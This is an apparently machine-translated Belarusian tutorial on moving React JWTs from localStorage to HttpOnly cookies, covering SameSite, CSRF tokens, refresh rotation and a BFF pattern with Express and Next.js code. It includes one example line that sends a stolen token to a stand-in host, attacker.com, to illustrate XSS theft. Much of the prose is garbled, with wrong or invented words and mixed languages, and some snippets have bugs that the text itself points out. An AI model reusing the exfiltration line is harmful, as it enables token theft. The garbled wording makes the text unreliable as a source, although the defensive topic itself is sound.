Перанесенне JWT аплікацыі React з localStorage у HttpOnly-канексы
Дазвольце даклэ расказаць, чаму localStorage з JWT-амі паддае пад атакамі типу XSS, як HttpOnly-кукі з параметрамі SameSite, ротацыя і BFF скарочуюць рызык, а таксама якія проблемы застаюцца ў дапрацоўкіх на React.
Крыніцы: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT
Тое, дзе аплікацыя на React зберагае свой токен даступу, вялічыць рызык, які можа прынесці баг крос-сайтовага скраптавання. JWT, які знаходзится ў localStorage, можа быць прачытаны і выкарануты будзь-якім скраптом на сторонце; тады як JWT у кукуце з атрыбутам HttpOnly не можа быць выкарануты, хоча кукуцы ствараюць іншыя проблемы, такія як падрабанне запитоў межа сайтамі. Чырвонай лініі вы пабачыце порэванне гэтых двух варыянтаў, настройку на адной кукуце з бэкендам на Express, а таксама тэхнікі ротацыі, захавання ад CSRF і Backend-for-Frontend, якія дапамагаюць ў цым.
Два варыянты зберагання, два модэлі апазырання рызыкаў
Браузер не разлічае вашы скрапты ад тых, якія былі вбліжаны ззаўні, таму два стандартныя месца для зберагання JWT працуюць адмінш чынам:
- localStorage можа быць прачытаны будзь-якім JavaScript на там самай сторонце. Апазыранне рызыка — крос-сайтова атакі типу XSS; способы захавання — строгія правіла CSP і санітарызацыя дадзеных.
SameSite і токены CSRF.Чаму localStorage ператварае XSS у захопленне акаунта
Будзь-які скрыпты, якіе выконваюцца на вашай домэне, патрабуе два крокі, каб украсты токен:
// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);
Уведзены код прабывае да проектаў React через больш за тое, што чакаюць команды, маршруты:
dangerouslySetInnerHTMLз контэнтам, які вы не кантролюеце.- Парадураны пакеты npm, як у інцыдэтах з
event-streamіua-parser-js. - Змененыя скрыпты з зовнішніх CDNs.
- Рэндарыяры Markdown, якіе працююць без санітазавання.
- Расшырэнні браузера, якія уводзяць код у сторунку.
JSX атрымуе спецыяльныя знакі для захавання стрэлкаваных роштов, але гэты захад зникае як толькі код выключае ўжыццё гэтых механізмаў, зазвычай для адрасавання біос-інфармацыі чыстаеўкай тексту:
// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
Інструменты для санітаравання дапамагаюць, але існуюць спосабы ўхіліцца ад яных. Для прыклада, хутчэй вядомы кліент localStorage: функцыі для зберагання та чытання токена, а таксама кэшэр, які дадае заголовак Bearer.
// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const token = getToken();
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
headers: {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...options.headers,
},
});
return response;
};
Гэта проста, і яго нельга зробіць стойкім да XSS, таму што па прызначэнню ёму трэба, каб JavaScript чытаў токен.
HttpOnly-канякі як стандарт
Сервер задае каняк, а кожны з яго атрыбутаў усунеяць конкрэтную прасоцу:
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
HttpOnlyскрывае каняк адdocument.cookieта всіх доступаў з боку скрыптам.Secureобмежвае яго выкарыстоўванне толькі на HTTPS.SameSite=Strictне дазволяе браузеру прыкладваць яго да запитаў, пачатых іншымі сайтамі.
Max-Age=900 дае токэну доступу 15 хвілін часу дзейснасці.Кліент больш не прабуеўвае токэн
React адмовіцца ад дапаможных прыемнікаў для зберагчэння і заголовка. Ключовая лінія — credentials: 'include', якая змушвае fetch адправляць кукі. Пры коде 401 прыемнік апавершвае процес, падае занову запит або перенаправляе на сторонню станцію.
// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
credentials: 'include', // CRITICAL: Sends cookies with requests
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
// If 401, try refreshing
if (response.status === 401) {
const refreshed = await refreshAccessToken();
if (refreshed) {
// Retry original request (browser auto-sends new cookie)
return apiClient(endpoint, options);
}
// Redirect to login
window.location.href = '/login';
}
return response;
};
У працоўнай сіткі неабходна обмежыць колькасць падаючых запитоў на адну спробу, каб апавершэнне, якое „выходзіць на лад“, калі API ўсё ж вяртае 401, не магло існаваць безканечна, а таксама выкарыстоўваць адно апавершэнне для рашырання проблем у разы паўторных адмоваў, як описана ў рэшэнцы проблемы адночасных апавершэнняў.
Сторона Express
Пад час заходу сервер падпісвае токен даступу на 15 хвілін і токен апдэтаў на 7 дзён, выкарыстоўваючы разныя секрэты, зберагае хеш токена апдэтаў і ставіць обая кукі. Кука апдэтаў выкарыстоўвае path: '/auth/refresh', таму яя прабіваеся толькі да гэтага канцэнтра. Обробнік апдэтаў пераканальвае JWT, парабягае яго з захаванным хешам за дапамогою bcrypt і выдае новую куку даступу.
// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_TOKEN_SECRET!,
{ expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Store refresh token hash in database (not the raw token!)
await storeRefreshToken(user.id, refreshToken);
// Set cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to refresh endpoint
});
res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
// Check if token is in database and not revoked
const storedToken = await getRefreshToken(payload.userId);
if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Rotate: Issue new access token (and optionally new refresh token)
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
path: '/',
});
res.json({ success: true });
} catch {
// Clear cookies on failure
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.status(401).json({ error: 'Invalid token' });
}
};
Перад паўтарным выкарыстоўваннем: імпортуйце bcrypt; згадайце, што токен апдэтаў мае жорстка заданы параметр secure: true, тады калі заходзіце, пераканальваецца стаўкі сяродовышча; а res.clearCookie('refresh_token') таксама павінен перадаць path: '/auth/refresh', іначы кука насправды не будзе адмаўлена.
CSRF у сітаку SameSite
CSRF выкорыстоўвае тое, што кукіяць перавозяцца аўтаматычна. Атрыбут SameSite рашае большасць проблем у браузеры, а браузеры на базе Chromium спрыяюць кукіяць без гэтаго атрыбута як Lax. Для SPA:
- Выберыце
Strict, калі фронтэнд і API выкорыстоўваюць аднойчы домэн. - Выберыце
Lax, калі корыстувальнікі прабачаюцца через зовнішнія лінкі і павінны быць заўважаны ўжо пад час першага пераводу. - Утримайцеся ад
None, якщо толькі вам сапраўды не патрэбны кукіяць межа сайтамі і вы розумеете наследкі.
„Site“ абазавана на рэгіструемым домэне, таму падменены сабсубдомэн таксама лячыцца як той самы сайт.
Дадаўанне токена для двойнага адправлення
Для дапамогі ў захыце сервер ставяе адны разовы значэнне ў чытальную кукію, React копіюе яго ў заголовак X-CSRF-Token, а сервер адхоўляе запыткі, калі гэтыя значэнні не збігаюцца.
// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
httpOnly: false, // React needs to read this
secure: true,
sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/sensitive', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
},
});
Сторанка, яка атакуецца, не можа чытаць вашыя кукі з-параду правіл адноўаго выхаджання, таму яна не можа стварыць адпаведны заголовак. З SameSite=Strict і строгім CORS гэта часта ўзайшле, але гэта недорогі захад прытаманнае на неправильную настройку.
Ротацыя токенав апдату і выяўленне ўжывання
Короткія токены доступу паўсова ўжываюцца разам з дужэйшымі токенамі апдату, але вкрадзены токен апдату все равно даўае права на доступ на калькі дзён. За дапамогою ротацыі кожны апдат выдае новы токен апдату і анулюе стары; якщо токен, які быў выключаны, з’являецца зноў, значы кахто-та яго практыкуе знову, і безпечная рэакцыя — анулюваць усі сесіі таго аканту.
// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
const incomingRefresh = req.cookies.refresh_token;
// Find user by refresh token
const user = await findUserByRefreshToken(incomingRefresh);
if (!user) {
// Possible token reuse! Clear all sessions.
await revokeAllUserTokens(user.id);
return res.status(401).json({ error: 'Token reuse detected' });
}
// Rotate: Generate new pair
const newRefresh = generateRefreshToken();
await replaceRefreshToken(incomingRefresh, newRefresh);
// If attacker had stolen old token, it's now invalid
// If legitimate user has old token (race condition), they'll need to re-auth
};
Спачатку трэба вылечыць адну бягу: усередине if (!user) код вызывае revokeAllUserTokens(user.id) для значэння null. Правильная дыягностика павторачання токена должна знайсці власніка ўжо анульванага токена, зазвычай за дапамогою запису „семьі токена“. Можа быць падазрэлыя позытыўныя рашынкі, калі два вікна адразу апавярнююцца; корыстны ўскоранае вікно на час. У нарадзе па стратэгіі токена апавярнення даўаеся дадатковая інфармацыя пра сторону сервера.
Зберагчыце токены за межамі кліента за дапамогою BFF
Backend-for-Frontend — это просты сервер, які знаходзится межа React і справжнім API:
React App → BFF (Next.js API routes / Express) → Actual API
Ён выконвае процесы OAuth (Authorization Code з PKCE), зберагае токены ў зашыфраваных кукіх типу HttpOnly, караесяцца з проблемай CSRF і адмахвае большасць налаштаванняў CORS, адколі браузер вызывае толькі свой власны домэн. У Next.js працоўнік маршруту можа перадаць аутентыфікацыйныя даныя службе автанаціі і ператварыць вярнуты токен у куку:
// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
const body = await req.json();
// Call actual auth service
const authRes = await fetch('https://internal-api.company.com/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
const { access_token, refresh_token } = await authRes.json();
const response = NextResponse.json({ success: true });
// Set HttpOnly cookies
response.cookies.set('access_token', access_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900,
});
return response;
}
Полная версія таксама зберагае токен апавядомлення і пераканальваецца ў authRes.ok пры аналізе. BFF падходзіць, калі вы викорыстоўваеце OAuth ад трэціх сторон, такіх як Google чыя GitHub, API знаходзіцца на іншам домэне, вы хочаце, каб логіка автанаціі не была ў бандле, або вы вже викорыстоўваеце Next.js.
Выбір налаштаванняў
Для большасці SPA на тым жа домэне гэта є базовы варыянт:
✅ HttpOnly cookies with:
- SameSite=Strict (or Lax)
- Secure flag
- Short-lived access tokens (5-15 min)
- Rotating refresh tokens (7 days)
- Token reuse detection
- CORS properly configure
Для API на розных домэнах чы мобільных кліентаў localStorage є прыемным толькі якшо вы готавы прыняць рызыку XSS і компенсаваць яе:
localStorage ONLY if:
- You implement strict CSP headers
- You audit all dependencies for XSS
- You don't use dangerouslySetInnerHTML
- You have a short token lifetime (< 15 min)
- You accept the XSS risk
Для найстрогейшых выкарыстанняў або корпаратыўных пратакалаў BFF адключае токены з браузера:
Backend-for-Frontend (BFF):
- React app talks to same-origin API routes
- API routes handle tokens in HttpOnly cookies
- React never touches JWTs
- Works with OAuth, SAML, enterprise auth
Спіс пераканаў для автэнікацыі на аднойчынах
- Пазначыце аднойчыны автэнікацыі як
HttpOnly,SecureіSameSite=Strict. - Зберагаюце токены доступу на 5-15 хвілін.
- Ротавацыяйце токены апавядомленняў з адказамі, калі ёсць можлівасць павторнага выкарыстання.
- Падаюце параметр
credentials: 'include'у кожны вызывfetchабо axios. - Супарабатуйце параметр
Access-Control-Allow-Credentials: trueз явным значэнням origin. - Не включайце аднойчыны ў логі і данні аналітыкі.
- Ачышчайце аднойчыны з боку сервера ў канцэнтры
/logout, за жаданнем з параметрамClear-Site-Data: "cookies". - Усё рава выкладзіце Палітыку безпекі кантэнта.
Захоўваны адказ можа мець следуючыя загаловкі:
# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies" # On logout
Заключэнне
Cookies з атрыбутам HttpOnly не робяць праблему XSS безнебяжной: вбіты код все ўсё можа адправляць автарызаваныя запиты, калі сторана ўвімкнутая. Але ён не можа забраць токен і викорыстаць яго ў іншым месца. Гэта разлік, а таксама короткая трываласць і ротацыя cookies, робяць іх правым стандартным выборам для веб-дзеяноў, пры чым падае ў обавязак наявнасць таксама правіл CSP. Проблему CSRF здебальшына рашаюць за дапамогою атрыбута SameSite і необавязковага токена для подвойнай адправкі, тады як праблема XSS застаецца постаягаючым рызыкам у коде React, які сильна залежыць ад іншых компанентаў. Калі межавая автарызацыя ускладнюе викорыстанне cookies, кращэ стварыць невялікі BFF, чым вяртацца да localStorage.